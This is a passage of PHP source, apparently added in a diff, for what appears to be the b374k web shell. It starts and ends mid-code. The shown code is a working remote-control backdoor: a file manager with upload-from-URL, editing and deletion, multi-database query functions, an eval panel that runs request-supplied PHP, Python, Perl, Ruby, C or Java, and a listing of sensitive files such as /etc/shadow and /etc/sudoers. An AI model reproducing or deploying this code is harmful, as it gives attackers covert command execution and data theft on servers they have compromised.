$s_self."cd=".$cwd; + $lsize = "LINK"; + $laction = " + + find | + upl | + +file | + +dir + +
+
+ + + + + +
"; + } + elseif($l==".."){ + $lhref = $s_self."cd=".$parent; + $lsize = "LINK"; + $laction = " + + find | + upl | + +file | + +dir + +
+
+ + + + + +
"; + } + else{ + $lhref = $s_self."cd=".$cwd.$l.DIRECTORY_SEPARATOR; + $lsize = "DIR"; + $laction = " + + find | + upl | + ren | + del + +
+
+ + + + + + +
"; + } + $lname = "[ ".$l." ]"; + $lsizetit = "0"; + } + else{ + $lhref = $s_self."view=".$l; + $lname = $l; + $lsize = gs($l); + $lsizetit = @filesize($l); + $laction = " +
+
+ + + + + +
+ + edit | + hex | + ren | + del + "; + } + + $ldl = str_replace("__dlpath__",$l,$arc); + $buff .= " + + + + ".$owner_html." + + + + "; + } + $buff .= "
namesizepermsmodifiedactiondownload
".$owner."
+ ".$lname." + ".$lsize."".gp($l)."".@date("d-M-Y H:i",filemtime($l))."".$laction."".$ldl."
"; + return $buff; +} +//database related functions +function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ + if($sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($sqlhost,$sqluser,$sqlpass);} + elseif($sqltype == 'mssql'){ + if(function_exists('mssql_connect')) return @mssql_connect($sqlhost,$sqluser,$sqlpass); + elseif(function_exists('sqlsrv_connect')){ + $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); + return @sqlsrv_connect($sqlhost,$coninfo); + } + } + elseif($sqltype == 'pgsql'){ + $hosts = explode(":", $sqlhost); + if(count($hosts)==2){ + $host_str = "host=".$hosts[0]." port=".$hosts[1]; + } + else $host_str = "host=".$sqlhost; + if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); + } + elseif($sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($sqluser,$sqlpass,$sqlhost);} + elseif($sqltype == 'sqlite3'){ + if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost); + else return false; + } + elseif($sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($sqlhost);} + elseif($sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($sqlhost,$sqluser,$sqlpass);} + elseif($sqltype == 'pdo'){ + if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost,$sqluser,$sqlpass); + else return false; + } +} +function sql_query($sqltype, $query, $con){ + if($sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($query);} + elseif($sqltype == 'mssql'){ + if(function_exists('mssql_query')) return mssql_query($query); + elseif(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query); + } + elseif($sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($query);} + elseif($sqltype == 'oracle'){ + if(function_exists('oci_parse') && function_exists('oci_execute')){ + $st = oci_parse($con, $query); + oci_execute($st); + return $st; + } + } + elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $con->query($query);} + elseif($sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($con, $query);} + elseif($sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($con, $query);} + elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $con->query($query);} +} +function sql_num_fields($sqltype, $hasil){ + if($sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($hasil);} + elseif($sqltype == 'mssql'){ + if(function_exists('mssql_num_fields')) return mssql_num_fields($hasil); + elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($hasil); + } + elseif($sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($hasil);} + elseif($sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($hasil);} + elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->numColumns();} + elseif($sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($hasil);} + elseif($sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($hasil);} + elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->columnCount();} +} +function sql_field_name($sqltype,$hasil,$i){ + if($sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($hasil,$i);} + elseif($sqltype == 'mssql'){ + if(function_exists('mssql_field_name')) return mssql_field_name($hasil,$i); + elseif(function_exists('sqlsrv_field_metadata')){ + $metadata = sqlsrv_field_metadata($hasil); + if(is_array($metadata)){ + $metadata=$metadata[$i]; + } + if(is_array($metadata)) return $metadata['Name']; + } + } + elseif($sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($hasil,$i);} + elseif($sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($hasil,$i+1);} + elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->columnName($i);} + elseif($sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($hasil,$i);} + elseif($sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($hasil,$i+1);} + elseif($sqltype == 'pdo'){ + if(class_exists('PDO')){ + $res = $hasil->getColumnMeta($i); + return $res['name']; + } + } +} +function sql_fetch_data($sqltype,$hasil){ + if($sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($hasil);} + elseif($sqltype == 'mssql'){ + if(function_exists('mssql_fetch_row')) return mssql_fetch_row($hasil); + elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($hasil,1); + } + elseif($sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($hasil);} + elseif($sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($hasil);} + elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->fetchArray(1);} + elseif($sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($hasil,1);} + elseif($sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($hasil);} + elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->fetch(2);} +} +function sql_num_rows($sqltype,$hasil){ + if($sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($hasil);} + elseif($sqltype == 'mssql'){ + if(function_exists('mssql_num_rows')) return mssql_num_rows($hasil); + elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($hasil); + } + elseif($sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($hasil);} + elseif($sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($hasil);} + elseif($sqltype == 'sqlite3'){ + if(class_exists('SQLite3')){ + $metadata = $hasil->fetchArray(); + if(is_array($metadata)) return $metadata['count']; + } + } + elseif($sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($hasil);} + elseif($sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($hasil);} + elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->rowCount();} +} +function sql_close($sqltype,$con){ + if($sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($con);} + elseif($sqltype == 'mssql'){ + if(function_exists('mssql_close')) return mssql_close($con); + elseif(function_exists('sqlsrv_close')) return sqlsrv_close($con); + } + elseif($sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($con);} + elseif($sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($con);} + elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $con->close();} + elseif($sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($con);} + elseif($sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($con);} + elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $con = null;} +} +if(!function_exists('str_split')){ + function str_split($t,$s=1){ + $a = array(); + for($i=0;$i[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "".$letter."";} + $letters .= " ] "; + } + } + } + // prompt style.. + $s_prompt = $s_user." >"; + // check for posix + $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + // server ip + $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + // your ip ;-) + $s_my_ip = $_SERVER['REMOTE_ADDR']; + $s_result = ""; + + global $s_python, $s_perl, $s_ruby, $s_gcc, $s_java, $s_tar; + // check python + if(isset($_COOKIE['s_python'])){$s_python = $_COOKIE['s_python'];} + else{ + $s_python = check_access("python"); + setcookie("s_python", $s_python ,time() + $s_login_time); + } + $s_python = ($s_python=="1")?true:false; + + // check perl + if(isset($_COOKIE['s_perl'])){$s_perl = $_COOKIE['s_perl'];} + else{ + $s_perl = check_access("perl"); + setcookie("s_perl", $s_perl ,time() + $s_login_time); + } + $s_perl = ($s_perl=="1")?true:false; + + // check ruby + if(isset($_COOKIE['s_ruby'])){$s_ruby = $_COOKIE['s_ruby'];} + else{ + $s_ruby = check_access("ruby"); + setcookie("s_ruby", $s_ruby ,time() + $s_login_time); + } + $s_ruby = ($s_ruby=="1")?true:false; + + // check gcc + if(isset($_COOKIE['s_gcc'])){$s_gcc = $_COOKIE['s_gcc'];} + else{ + $s_gcc = check_access("gcc"); + setcookie("s_gcc", $s_gcc ,time() + $s_login_time); + } + $s_gcc = ($s_gcc=="1")?true:false; + + // check java + if(isset($_COOKIE['s_java'])){$s_java = $_COOKIE['s_java'];} + else{ + $s_java = check_access("java"); + setcookie("s_java", $s_java ,time() + $s_login_time); + } + $s_java = ($s_java=="1")?true:false; + + // check tar + if(isset($_COOKIE['s_tar'])){$s_tar = $_COOKIE['s_tar'];} + else{ + $s_tar = check_access("tar"); + setcookie("s_tar", $s_tar ,time() + $s_login_time); + } + $s_tar = ($s_tar=="1")?true:false; + + // sorttable.js + if(isset($_REQUEST['sorttable'])){ + $data = gzinflate(base64_decode($sortable_js)); + header("Content-type: text/javascript"); + header("Cache-control: public"); + echo $data; + exit; + } + if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){ + $dltype = ss($_REQUEST['dltype']); + $dlpath = ss($_REQUEST['dlpath']); + + $dlname = basename($dlpath); + if($dlpath==".") $dlname=basename($cwd); + elseif($dlpath==".."){ + chdir(".."); + $dlname=basename(getcwd()); + chdir($cwd); + } + $tmpdir = get_writabledir(); + $dlarchive = $tmpdir.$dlname; + $dlthis = ""; + if($dltype=="ziparchive"){ + $dlarchive .= ".zip"; + if(zip($dlpath,$dlarchive)){ + $dlthis = $dlarchive; + } + } + elseif($dltype=="tar"){ + $dlarchive .= ".tar"; + $dlarchive = str_replace('\\', '/', $dlarchive); + exe("tar cf ".$dlarchive." ".$dlpath); + $dlthis = $dlarchive; + } + elseif($dltype=="targz"){ + $dlarchive .= ".tar.gz"; + $dlarchive = str_replace('\\', '/', $dlarchive); + exe("tar czf ".$dlarchive." ".$dlpath); + $dlthis = $dlarchive; + } + elseif($dltype=="raw"){ + if(is_file($dlpath)) $dlthis = $dlpath; + } + + if(is_file($dlthis)){ + header("Content-Type: application/octet-stream"); + header('Content-Transfer-Encoding: binary'); + header("Content-length: ".@filesize($dlthis)); + header("Content-disposition: attachment; filename=\"".basename($dlthis)."\";"); + $file = @fopen($dlthis,"rb"); + while(!feof($file)){ + print(@fread($file, 1024*8)); + ob_flush(); + flush(); + } + fclose($file); + + if($dltype!="raw"){ + rename($dlthis,$dlthis."del"); + unlink($dlthis."del"); + } + exit; + } + } + // view image specified by ?img= + if(isset($_REQUEST['img'])){ + ob_clean(); + $d = ss($_REQUEST['d']); + $f = ss($_REQUEST['img']); + $inf = @getimagesize($d.$f); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + header("Cache-control: public"); + header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7));# + readfile($d.$f); + exit; + } + + // rename file or folder + if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ + $old = ss($_REQUEST['oldname']); + $new = ss($_REQUEST['newname']); + + $renmsg = ""; + if(is_dir($old)) $renmsg = (@rename($cwd.$old,$cwd.$new)) ? "Directory ".$old." renamed to ".$new : "Unable to rename directory ".$old." to ".$new; + elseif(is_file($old)) $renmsg = (@rename($cwd.$old,$cwd.$new)) ? "File ".$old." renamed to ".$new : "Unable to rename file ".$old." to ".$new; + else $renmsg = "Cannot find the path specified ".$old; + + $s_result .= "

".$renmsg."

"; + $fnew = $cwd.$new; + } + + // confirm delete + if(!empty($_REQUEST['del'])){ + $del = trim($_REQUEST['del']); + $s_result .= "

Delete ".basename($del)." ? Yes | No

"; + }// delete file + elseif(!empty($_REQUEST['delete'])){ + $f = ss($_REQUEST['delete']); + $delmsg = ""; + if(is_file($f)){ + $delmsg = (unlink($f)) ? "File removed : ".$f : "Unable to remove file ".$f; + } + elseif(is_dir($f)){ + rmdirs($f); + $delmsg = (is_dir($f)) ? "Unable to remove directory ".$f : "Directory removed : ".$f; + } + else $delmsg = "Cannot find the path specified ".$f; + $s_result .= "

".$delmsg."

"; + } // create dir + elseif(!empty($_REQUEST['mkdir'])){ + $f = ss($cwd.ss($_REQUEST['mkdir'])); + $dirmsg = ""; + if(!is_dir($f)){ + mkdir($f); + if(is_dir($f)) $dirmsg = "Directory created ".$f; + else $dirmsg = "Unable to create directory ".$f; + } + else $dirmsg = "Directory already exists ".$f; + $s_result .= "

".$dirmsg."

"; + } + + // php eval() function + if(isset($_REQUEST['eval'])){ + $code = ""; + $res = ""; + $gccoption = ""; + $lang = "php"; + + if(isset($_REQUEST['evalcode'])){ + $code = ssc($_REQUEST['evalcode']); + $gccoption = (isset($_REQUEST['gccoption']))? " ".ssc($_REQUEST['gccoption']):""; + $tmpdir = get_writabledir(); + + if(isset($_REQUEST['lang'])){$lang = $_REQUEST['lang'];} + + if(strtolower($lang)=='php'){ + ob_start(); + eval($code); + $res = ob_get_contents(); + ob_end_clean(); + } + elseif(strtolower($lang)=='python'||strtolower($lang)=='perl'||strtolower($lang)=='ruby'){ + $rand = md5(time().rand(0,100)); + $script = $tmpdir.$rand; + file_put_contents($script, $code); + if(is_file($script)){ + $res = exe($lang." ".$script.$gccoption); + unlink($script); + } + } + elseif(strtolower($lang)=='gcc'){ + $script = md5(time().rand(0,100)); + chdir($tmpdir); + file_put_contents($script.".c", $code); + if(is_file($script.".c")){ + $scriptout = $s_win ? $script.".exe" : $script; + $res = exe("gcc ".$script.".c -o ".$scriptout.$gccoption); + if(is_file($scriptout)){ + $res = $s_win ? exe($scriptout) : exe("chmod +x ".$scriptout." ; ./".$scriptout); + rename($scriptout, $scriptout."del"); + unlink($scriptout."del"); + } + unlink($script.".c"); + } + chdir($cwd); + } + elseif(strtolower($lang)=='java'){ + if(preg_match("/class\ ([^{]+){/i",$code, $r)){ + $classname = trim($r[1]); + $script = $classname; + } + else{ + $rand = "b374k_".substr(md5(time().rand(0,100)),0,8); + $script = $rand; + $code = "class ".$rand." { ".$code . " } "; + } + chdir($tmpdir); + file_put_contents($script.".java", $code); + if(is_file($script.".java")){ + $res = exe("javac ".$script.".java"); + if(is_file($script.".class")){ + $res .= exe("java ".$script.$gccoption); + unlink($script.".class"); + } + unlink($script.".java"); + } + chdir($pwd); + } + } + + $lang_available = ""; + $selected = ""; + if($s_python){ + $checked = ($lang == "python") ? "selected" : ""; + $lang_available .= ""; + } + if($s_perl){ + $checked = ($lang == "perl") ? "selected" : ""; + $lang_available .= ""; + } + if($s_ruby){ + $checked = ($lang == "ruby") ? "selected" : ""; + $lang_available .= ""; + } + if($s_gcc){ + $checked = ($lang == "gcc") ? "selected" : ""; + $lang_available .= ""; + } + if($s_java){ + $checked = ($lang == "java") ? "selected" : ""; + $lang_available .= ""; + } + $gccoptionclass = ($lang=="php")? "sembunyi":""; + $e_result = (!empty($res)) ? "
".hss($res)."
":""; + $s_result .= "
+ + + + +

+
+
Additional option
+ ".$e_result." + +
+ "; + } + // find + elseif(isset($_REQUEST['find'])){ + $p = cp($_REQUEST['find']); + + $type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile"; + $sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):''; + $sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):''; + $sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):''; + + $sfnameregexchecked=$sfnameicasechecked=$sdnameregexchecked=$sdnameicasechecked=$sfcontainregexchecked=$sfcontainicasechecked=$swritablechecked=$sreadablechecked=$sexecutablechecked=""; + $sfnameregex=$sfnameicase=$sdnameregex=$sdnameicase=$sfcontainregex=$sfcontainicase=$swritable=$sreadable=$sexecutable=false; + + if(isset($_REQUEST['sfnameregex'])){$sfnameregex=true;$sfnameregexchecked="checked";} + if(isset($_REQUEST['sfnameicase'])){$sfnameicase=true;$sfnameicasechecked="checked";} + if(isset($_REQUEST['sdnameregex'])){$sdnameregex=true;$sdnameregexchecked="checked";} + if(isset($_REQUEST['sdnameicase'])){$sdnameicase=true;$sdnameicasechecked="checked";} + if(isset($_REQUEST['sfcontainregex'])){$sfcontainregex=true;$sfcontainregexchecked="checked";} + if(isset($_REQUEST['sfcontainicase'])){$sfcontainicase=true;$sfcontainicasechecked="checked";} + if(isset($_REQUEST['swritable'])){$swritable=true;$swritablechecked="checked";} + if(isset($_REQUEST['sreadable'])){$sreadable=true;$sreadablechecked="checked";} + if(isset($_REQUEST['sexecutable'])){$sexecutable=true;$sexecutablechecked="checked";} + + $sexecb = (function_exists("is_executable")) ? "
":""; + + $candidate = array(); + if(isset($_REQUEST['sgo'])){ + $af = ""; + + $candidate = getallfiles($p); + if($type=='sfile') $candidate = array_filter($candidate, "is_file"); + elseif($type=='sdir') $candidate = array_filter($candidate, "is_dir"); + + foreach($candidate as $a){ + if($type=='sdir'){ + if(!empty($sdname)){ + if($sdnameregex){ + if($sdnameicase){if(!preg_match("/".$sdname."/i", basename($a))) $candidate = array_diff($candidate,array($a));} + else{if(!preg_match("/".$sdname."/", basename($a))) $candidate = array_diff($candidate,array($a));} + } + else{ + if($sdnameicase){if(strpos(strtolower(basename($a)),strtolower($sdname))===false) $candidate = array_diff($candidate,array($a));} + else{if(strpos(basename($a),$sdname)===false) $candidate = array_diff($candidate,array($a));} + } + } + } + elseif($type=='sfile'){ + if(!empty($sfname)){ + if($sfnameregex){ + if($sfnameicase){if(!preg_match("/".$sfname."/i", basename($a))) $candidate = array_diff($candidate,array($a));} + else{if(!preg_match("/".$sfname."/", basename($a))) $candidate = array_diff($candidate,array($a));} + } + else{ + if($sfnameicase){if(strpos(strtolower(basename($a)),strtolower($sfname))===false) $candidate = array_diff($candidate,array($a));} + else{if(strpos(basename($a),$sfname)===false) $candidate = array_diff($candidate,array($a));} + } + } + if(!empty($sfcontain)){ + $sffcontent = @file_get_contents($a); + if($sfcontainregex){ + if($sfcontainicase){if(!preg_match("/".$sfcontain."/i", $sffcontent)) $candidate = array_diff($candidate,array($a));} + else{if(!preg_match("/".$sfcontain."/", $sffcontent)) $candidate = array_diff($candidate,array($a));} + } + else{ + if($sfcontainicase){if(strpos(strtolower($sffcontent),strtolower($sfcontain))===false) $candidate = array_diff($candidate,array($a));} + else{if(strpos($sffcontent,$sfcontain)===false) $candidate = array_diff($candidate,array($a));} + } + } + } + } + } + + $f_result = "";$link=""; + foreach($candidate as $c){ + $c=trim($c); + if($swritable && !is_writable($c)) continue; + if($sreadable && !is_readable($c)) continue; + if($sexecutable && !is_executable($c)) continue; + if($type=="sfile") $link = $s_self."cd=".cp(dirname($c))."&view=".basename($c); + elseif($type=="sdir") $link = $s_self."cd=".cp($c); + $f_result .= "

".$c."

"; + } + + $tsdir = ($type=="sdir")? "selected":""; + $tsfile = ($type=="sfile")? "selected":""; + + if(!is_dir($p)) $s_result .= "

Cannot find the path specified ".$p."

"; + $s_result .= "
+

Find

+ + + + + + + + + + + + + + + + + + + + + + + +
Search in
Dirname contains + + +
Filename contains + + +
File contains + + +
Permissions + + + ".$sexecb." +
+ + +
+
+
+
+ ".$f_result." +
+ "; + } + // upload ! + elseif(isset($_REQUEST['upload'])){ + $s_result = " "; + $msg = ""; + if(isset($_REQUEST['uploadhd'])){ + $fn = $_FILES['filepath']['name']; + if(is_uploaded_file($_FILES['filepath']['tmp_name'])){ + $p = cp(ss($_REQUEST['savefolder'])); + if(!is_dir($p)) $p = cp(dirname($p)); + if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']); + $tm = $_FILES['filepath']['tmp_name']; + $pi = cp($p).$fn; + $st = @move_uploaded_file($tm,$pi); + if($st) $msg = "

File uploaded to ".$pi."

"; + else $msg = "

Failed to upload ".$fn."

"; + } + else $msg = "

Failed to upload ".$fn."

"; + } + elseif(isset($_REQUEST['uploadurl'])){ + // function dlfile($url,$fpath){ + $p = cp(ss($_REQUEST['savefolderurl'])); + if(!is_dir($p)) $p = cp(dirname($p)); + $fu = ss($_REQUEST['fileurl']); + $fn = basename($fu); + if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']); + $fp = cp($p).$fn; + $st = dlfile($fu,$fp); + if($st) $msg = "

File uploaded to ".$fp."

"; + else $msg = "

Failed to upload ".$fn."

"; + } + else{ + if(!is_writable($cwd)) $msg = "

Directory ".$cwd." is not writable, please change to a writable one

"; + } + + if(!empty($msg)) $s_result .= $msg; + $s_result .= " +
+

Upload from computer

+ + + + + +
File +
Save to
Filename (optional)
  + +
+
+
+
+

Upload from internet

+ + + + + +
File URL +
Save to
Filename (optional)
  + +
+
+
+ "; + } // view file + elseif(isset($_REQUEST['view'])){ + $f = ss($_REQUEST['view']); + if(isset($fnew) && (trim($fnew)!="")) $f = $fnew; + $owner = ""; + if(is_file($f)){ + if(!$s_win && $s_posix){ + $name = posix_getpwuid(fileowner($f)); + $group = posix_getgrgid(filegroup($f)); + $owner = "Owner".$name['name']." : ".$group['name'].""; + } + $filn = basename($f); + $dlfile = get_archiver_available(); + $dlfile = str_replace("__dlpath__",$filn,$dlfile); + $dlfile = str_replace("__dlcwd__",$cwd,$dlfile); + $s_result .= " + + + + ".$owner." + + + + + +
Filename".$filn." +
+
+ + + +
+ +
+
Size".gs($f)." (".@filesize($f).")
Permission".gp($f)."
Create time".@date("d-M-Y H:i",filectime($f))."
Last modified".@date("d-M-Y H:i",filemtime($f))."
Last accessed".@date("d-M-Y H:i",fileatime($f))."
Actions + edit | + hex | + ren | + del ".$dlfile." +
View + text | + code | + image
+ "; + + $t = ""; + $iinfo = @getimagesize($f); + if(substr($filn,-3,3) == "php") $t = "code"; + if(is_array($iinfo)) $t = 'image'; + + if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']); + + if($t=="image"){ + $width = (int) $iinfo[0]; + $height = (int) $iinfo[1]; + $imginfo = "Image type = ( ".$iinfo['mime']." )
+ Image Size = ( ".$width." x ".$height." )
"; + if($width > 800){ + $width = 800; + $imglink = "

+ [ view full size ]

"; + } + else $imglink = ""; + + $s_result .= "
".$imglink." + ".$filn."
"; + + } + elseif($t=="code"){ + $s_result .= "
"; + $file = wordwrap(@file_get_contents($f),160,"\n",true); + $buff = highlight_string($file,true); + $old = array("0000BB","000000","FF8000","DD0000", "007700"); + $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000"); + $buff = str_replace($old,$new, $buff); + $s_result .= $buff; + $s_result .= "
"; + } + else { + $s_result .= "
";
+				$s_result .=  str_replace("<","<",str_replace(">",">",(wordwrap(@file_get_contents($f),160,"\n",true))));
+				$s_result .=   "
"; + } + } + elseif(is_dir($f)){ + chdir($f); + $cwd = cp(getcwd()); + $s_result .= showdir($cwd); + } + else $s_result .= "

Cannot find the path specified ".$f."

"; + + } // edit file + elseif(isset($_REQUEST['edit'])){ + $f = ss($_REQUEST['edit']); + $fc = ""; + $fcs = ""; + + if(isset($_REQUEST['new'])){ + $num = 1; + if(is_file($f)){ + $pos = strrpos($f,"_"); + if($pos!==false) $num = (int) substr($f,$pos+1); + while(is_file(substr($f,0,$pos)."_".$num)){ + $num++; + } + $f = substr($f,0,$pos)."_".$num; + } + } + else if(is_file($f)) $fc = @file_get_contents($f); + + + if(isset($_REQUEST['fc'])){ + $fc = ssc($_REQUEST['fc']); + if($filez = fopen($f,"w")){ + $time = @date("d-M-Y H:i",time()); + if(fwrite($filez,$fc)!==false) $fcs = "File saved @ ".$time; + else $fcs = "Failed to save"; + fclose($filez); + } + else $fcs = "Permission denied"; + } + else if(is_file($f) && !is_writable($f)) $fcs = "This file is not writable"; + + if(!empty($fcs)) $s_result .= "

".$fcs."

"; + $s_result .= "
+ +

+

+
"; + + }// hex edit file + elseif(isset($_REQUEST['hexedit'])){ + $f = ss($_REQUEST['hexedit']); + $fc = ""; + $fcs = ""; + $lnum = 0; + $hexes = ""; + + if(!empty($_REQUEST['hexes']) || !empty($_REQUEST['hexestxtarea'])){ + if(!empty($_REQUEST['hexes'])){ + foreach($_REQUEST['hexes'] as $hex) $hexes .= str_replace(" ","", $hex); + } + elseif(!empty($_REQUEST['hexestxtarea'])){ + $hexes = trim($_REQUEST['hexestxtarea']); + } + if($filez = fopen($f,"w")){ + $bins = pack("H*" , $hexes); + $time = @date("d-M-Y H:i",time()); + if(fwrite($filez,$bins)!==false) $fcs = "File saved @ ".$time; + else $fcs = "Failed to save"; + fclose($filez); + } + else $fcs = "Permission denied"; + } + else if(is_file($f) && !is_writable($f)) $fcs = "This file is not writable"; + + if(!empty($fcs)) $s_result .= "

".$fcs."

"; + $s_result .= "
+

+

+ + "; + if(is_file($f)){ + $fp = fopen($f,"r"); + if($fp) { + $ldump = ""; + $counter = 0; + $icounter = 0; + while(!feof($fp)){ + $line = fread($fp, 32); + $linedump = preg_replace('/[^\x21-\x7E]/','.', $line); + $linehex = strtoupper(bin2hex($line)); + $linex = str_split($linehex,2); + $linehex = implode(" ", $linex); + $addr = sprintf("%08xh",$icounter); + + $s_result .= " + "; + $counter++; + $icounter+=32; + } + $s_result .= ""; + $s_result .= ""; + fclose($fp); + } + } + $s_result .= "
".$addr." + ".hss($linedump)."
"; + + }// show server information + elseif(isset($_REQUEST['info'])){ + $s_result = ""; + // server misc info + $s_result .= "

Server Info

"; + $s_result .= "
"; + + if($s_win){ + foreach (range("A","Z") as $letter){ + if((is_dir($letter.":\\") && is_readable($letter.":\\"))){ + $drive = $letter.":"; + $s_result .= ""; + } + } + } + else $s_result .= ""; + + $s_result .= ""; + if($s_python) $s_result .= ""; + if($s_perl) $s_result .= ""; + if($s_ruby) $s_result .= ""; + if($s_gcc){ + $gcc_version = exe("gcc --version"); + $gcc_ver = explode("\n",$gcc_version); + if(count($gcc_ver)>0) $gcc_ver = $gcc_ver[0]; + $s_result .= ""; + } + if($s_java) $s_result .= ""; + + $interesting = array( + "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/etc/resolv.conf", "/etc/sysctl.conf", + "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", + "/etc/ssh/sshd_config", + "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf"," /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", + "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", + "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); + foreach($interesting as $f){ + if(is_file($f) && is_readable($f)) + $s_result .= ""; + } + + + $s_result .= "
drive ".$drive."".ts(disk_free_space($drive))." free of ".ts(disk_total_space($drive))."
root partition".ts(disk_free_space("/"))." free of ".ts(disk_total_space("/"))."
php".phpversion()."
python".exe("python -V")."
perl".exe("perl -e \"print \$]\"")."
ruby".exe("ruby -v")."
gcc".$gcc_ver."
java".str_replace("\n", ", ", exe("java -version"))."
".$f."".$f." is readable
"; + + if(!$s_win){ + // cpu info + if($i_buff=trim(@file_get_contents("/proc/cpuinfo"))){ + $s_result .= "

CPU Info

"; + $s_result .= "
"; + $i_buffs = explode("\n\n", $i_buff); + foreach($i_buffs as $i_buffss){ + $i_buffss = trim($i_buffss); + if($i_buffss!=""){ + $i_buffsss = explode("\n",$i_buffss); + $s_result .= ""; + foreach($i_buffsss as $i){ + $i = trim($i); + if($i!=""){ + $ii = explode(":",$i); + if(count($ii)==2) $s_result .= ""; + } + } + $s_result .= "
".$ii[0]."".$ii[1]."
"; + } + } + $s_result .= "
"; + } + // mem info + if($i_buff=trim(@file_get_contents("/proc/meminfo"))){ + $s_result .= "

Memory Info

"; + $i_buffs = explode("\n",$i_buff); + $s_result .= "
"; + foreach($i_buffs as $i){ + $i = trim($i); + if($i!=""){ + $ii = explode(":",$i); + if(count($ii)==2) $s_result .= ""; + } + else $s_result .= "
".$ii[0]."".$ii[1]."
"; + } + $s_result .= "
"; + } + // partition + if($i_buff=trim(@file_get_contents("/proc/partitions"))){ + $i_buff = preg_replace("/\ +/"," ",$i_buff); + $s_result .= "

Partitions Info

"; + $s_result .= "
